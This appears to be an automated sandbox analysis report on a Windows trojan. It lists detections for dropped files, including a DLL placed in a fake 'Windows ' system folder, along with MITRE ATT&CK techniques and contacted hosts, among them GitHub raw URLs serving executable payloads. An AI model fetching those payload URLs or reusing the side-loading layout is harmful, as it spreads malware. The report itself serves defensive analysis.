Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: svchost.exe, 0000001B.00000002.2653432544.00000204988EC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2678853475.000002AC9CCEB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	2 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	111 Windows Service	111 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	22 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
printui.dll	38%	ReversingLabs	Win64.Trojan.Malgent
printui.dll	36%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\System32\x841418.dat	100%	Avira	TR/Agent.dsldy
C:\Windows\System32\winsvcf\Z753638.exe	100%	Avira	TR/AD.Nekark.ynurm
C:\Windows\System32\console_zero.exe	100%	Avira	TR/Crypt.Agent.hukqb
C:\Windows \System32\printui.dll	100%	Avira	TR/Crypt.Agent.ivuox
C:\Windows\System32\winsvcf\Z369335.exe	100%	Avira	TR/AD.Nekark.ynurm
C:\Windows\System32\usvcinsta64.exe	100%	Avira	TR/AD.Nekark.lzsnr
C:\Windows\System32\x841418.dat	100%	Joe Sandbox ML
C:\Windows\System32\winsvcf\Z753638.exe	100%	Joe Sandbox ML
C:\Windows\System32\winsvcf\Z369335.exe	100%	Joe Sandbox ML
C:\Windows \System32\printui.dll	88%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows \System32\printui.exe	0%	ReversingLabs
C:\Windows\System32\Z295699.dat	62%	ReversingLabs	Win64.Trojan.Malgent
C:\Windows\System32\Z369335.exe (copy)	92%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\Z422697.dat	62%	ReversingLabs	Win64.Trojan.Malgent
C:\Windows\System32\Z753638.exe (copy)	92%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\console_zero.exe	75%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\libcrypto-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libcurl.dll	0%	ReversingLabs
C:\Windows\System32\libiconv-2.dll	0%	ReversingLabs
C:\Windows\System32\libintl-9.dll	0%	ReversingLabs
C:\Windows\System32\libpq.dll	0%	ReversingLabs
C:\Windows\System32\libssl-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libwinpthread-1.dll	0%	ReversingLabs
C:\Windows\System32\ucrtbased.dll	0%	ReversingLabs
C:\Windows\System32\usvcinsta64.exe	65%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\vcruntime140d.dll	0%	ReversingLabs
C:\Windows\System32\winsvcf\Z369335.exe	92%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\winsvcf\Z753638.exe	92%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\x841418.dat	79%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\zlib1.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://github.com/solutions/industries/financial-services	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	URL Reputation	safe
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	0%	Avira URL Cloud	safe
http://crl.microsoft	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	0%	Avira URL Cloud	safe
https://github.com/solutions/industries/financial-services	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	0%	Virustotal		Browse
https://github.com/solutions/devsecops	0%	Avira URL Cloud	safe
https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe	0%	Avira URL Cloud	safe
http://crl.microsoft	0%	Virustotal		Browse
https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	0%	Avira URL Cloud	safe
https://github.com/solutions/devsecops	0%	Virustotal		Browse
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	0%	Virustotal		Browse
https://github.githubassets.com/assets/wp-runtime-9436f50702aa.js	0%	Avira URL Cloud	safe
https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe	0%	Virustotal		Browse
https://github.com/customer-stories	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	0%	Virustotal		Browse
https://github.com/readme	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/repository-0f7cf89e325a.css	0%	Avira URL Cloud	safe
https://github.com/features/code-review	0%	Avira URL Cloud	safe
https://github.com/features	0%	Avira URL Cloud	safe
https://github.com/customer-stories	0%	Virustotal		Browse
https://github.com/features/issues	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/wp-runtime-9436f50702aa.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/repository-0f7cf89e325a.css	0%	Virustotal		Browse
https://user-images.githubusercontent.com/	0%	Avira URL Cloud	safe
https://github.com/rootbossko/myfiles/raw/main/myapp9.exe	0%	Avira URL Cloud	safe
https://github.com/features/issues	0%	Virustotal		Browse
http://www.micrt.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/rootbossko/myfiles/main/my_backup_app.exep4	0%	Avira URL Cloud	safe
https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe"	0%	Avira URL Cloud	safe
https://github.com/features	0%	Virustotal		Browse
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	0%	Virustotal		Browse
https://github.com/readme	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/	0%	Virustotal		Browse
https://github.com/rootbossko/myfiles/raw/main/myapp9.exe	0%	Virustotal		Browse
https://skills.github.com	0%	Avira URL Cloud	safe
https://github.com/features/code-review	0%	Virustotal		Browse
https://github.com/solutions/industries/manufacturing	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/dark_high_contrast-2494e44ccdc5.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_mo	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Virustotal		Browse
https://github.com/rootbossko/myfiles/raw/main/myapp9.exe"	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-po	0%	Avira URL Cloud	safe
https://api.github.com/_private/browser/stats	0%	Avira URL Cloud	safe
https://skills.github.com	0%	Virustotal		Browse
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	0%	Avira URL Cloud	safe
https://github.com/solutions/industries/manufacturing	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchito10/myFiles/main/my_backup_app.exe	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-po	0%	Virustotal		Browse
https://ipinfo.io/json	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/dark_high_contrast-2494e44ccdc5.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_mo	0%	Virustotal		Browse
https://api.github.com/_private/browser/stats	0%	Virustotal		Browse
http://ip-api.com	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/dark_dimmed-afda8eb0fb33.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/notifications-global-54f34167118d.js	0%	Avira URL Cloud	safe
https://github.com/solutions/devops	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_	0%	Avira URL Cloud	safe
https://ion=v4.5ons	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/rootbossko/myfiles/main/myapp9.exe	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png	0%	Avira URL Cloud	safe
https://docs.github.com/get-started/accessibility/keyboard-shortcuts	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/keyboard-shortcuts-dialog-3596be158eba.js	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
http://ip-api.com	0%	Virustotal		Browse
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-b2e3c7cc6e	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-63	0%	Avira URL Cloud	safe
https://github.com/features/packages	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/dark-9c5b7a476542.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/element-registry-4ba20689fdff.js	0%	Avira URL Cloud	safe
https://github.github	0%	Avira URL Cloud	safe
https://resources.github.com/learn/pathways	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.108.133	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.74.196	true	false	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/rootbossko/myfiles/raw/main/myapp9.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchito10/myFiles/main/my_backup_app.exe	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/rootbossko/myfiles/main/myapp9.exe	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchito10/myFiles/main/myapp9.exe	false	Avira URL Cloud: malware	unknown
https://raw.githubusercontent.com/rootbossko/myfiles/main/my_backup_app.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/solutions/industries/financial-services	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-mark-57519b92ca4e.png	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microsoft	powershell.exe, 00000021.00000002.2020697921.0000013000505000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2472387739.000001D0C0D75000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/devsecops	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/wp-runtime-9436f50702aa.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/customer-stories	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/readme	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/repository-0f7cf89e325a.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features/code-review	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
